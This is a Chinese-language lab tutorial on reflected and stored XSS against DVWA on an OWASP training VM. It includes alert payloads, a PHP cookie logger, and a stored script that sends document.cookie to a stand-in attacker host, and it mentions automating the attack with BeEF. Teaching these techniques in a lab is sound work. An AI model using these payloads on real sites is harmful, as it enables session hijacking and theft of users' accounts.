本文所有渗透都是在靶机上进行的,仅供学习网络安全使用,请勿在未经允许的情况下攻击其他网站。
详细法律法规请见《中华人民共和国网络安全法》
http://www.cac.gov.cn/2016-11/07/c_1119867116.htm
XSS跨站脚本攻击原理
详见文章:https://www.yuque.com/u12173902/cgh2wq/rpvy8v
实验准备
- 目标靶机:OWASP_Broken_Web_Apps_VM_1.2
- 测试渗透机:kali-linux-2021.1-vmware-amd-64
反射型xss攻击(Reflected XSS)
反射型XSS攻击无法保留在服务器端上,它类似于一个搜索框,你在搜索框之类输入东西,点击搜索,输入的内容是不保存的。所以使用反射型XSS攻击,你必须向受害者发送一个链接,这个链接里面带有XSS脚本,用户访问这个链接,就会中招。
这次实践还是在 OWASP 提供的 DVWA 上进行,首先选中 XSS reflected 页面
常规输入奥特曼,表现正常。
尝试输入一句 script 脚本
<script>alert('xss')</script>
一旦此脚本能执行,出现一个系统弹框,也就意味着后端服务器没有对特殊字符做过滤<>/‘ 这样就可以证明,这个页面位置存在了 XSS 漏洞。
在同一IP下(因为owaspb虚拟机的IP是本地的),你在任何地方(物理机)进入这个网址都会触发脚本攻击。正常情况就是你把这个链接发出去,只要有人点击了链接,他就会中招。
在低安全模式下,代码没做任何的特殊符号过滤。
存储型XSS(Stored XSS)
图片中XSS脚本就不是一个弹框提示了,这段代码的作用是让(受害者)访问另外一个机器的的hook.js。攻击者先将这个脚本文件传给服务器并留在服务器的留言板里面(挂马)。这时如果有一个用户访问了带有XSS脚本的页面,就会触发XSS脚本,然后让用户访问 hook.js 就等于把自己的 cookie 双手奉上了。
我们还是先用弹框提示实践
当你下一次再点开这个页面的时候,就会触发脚本
在同一IP下(因为owaspb虚拟机的IP是本地的),你在任何地方(物理机)进入网站并点击 XSS stored 页面都会触发脚本攻击。
kali 获取用户的 cookie
- 构建收集 cookie 的服务器
- 构造XSS代码并植入 Web 服务器
- 等待受害者触发XSS代码并将cookie发送到kali
- cookie的利用
手动型XSS
在kali中启动收集cookie的服务器
service apache2 start
构造XSS代码
vim /var/www/html/cookie rec.php
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt","a");
fwrite($log, $cookie . "\n");
fclose($log);
?>
植入Web服务器
<script>window.open("http://www.hacker.com/cookie.php?cookie="+document.cookie)</script>
你会发现文本的最大长度受到了限制,但请你记住,前端的限制都形同虚设。我们可以打开开发者后台对最大长度进行修改。
修改成功
kali操作过程
但这种方法拿到的cookie是不方便的,因为我们还要自己想办法怎么去利用cookie。我们可以使用BeEF实现自动化的 XSS 攻击。
自动化XSS
Browser Exploitation Framework (BeEF)
BeEF是目前最强大的浏览器开源渗透测试框架,通过XSS漏洞配合JS脚本和Metasploit进行渗透。使用BeEF,我们将不再需要自己创建php文件。
启动apache和BeEF
植入Web服务器
接下来你就可以对受害者进行各种操作了,BeEF的功能非常强大,支持获取cookie,重定向页面,页面嵌套等多种功能,感兴趣的同学可以自行实践。
总结
被动型XSS和存储型XSS能实现的功能是一样的。不过被动型XSS需要去引诱用户点击链接,而存储型只需要用户进入被挂马的页面就可以了。
存储型XSS的危害较大,因为用户不需要进行对于的操作,只要正常进入被挂马的页面,就会不知不觉的中招。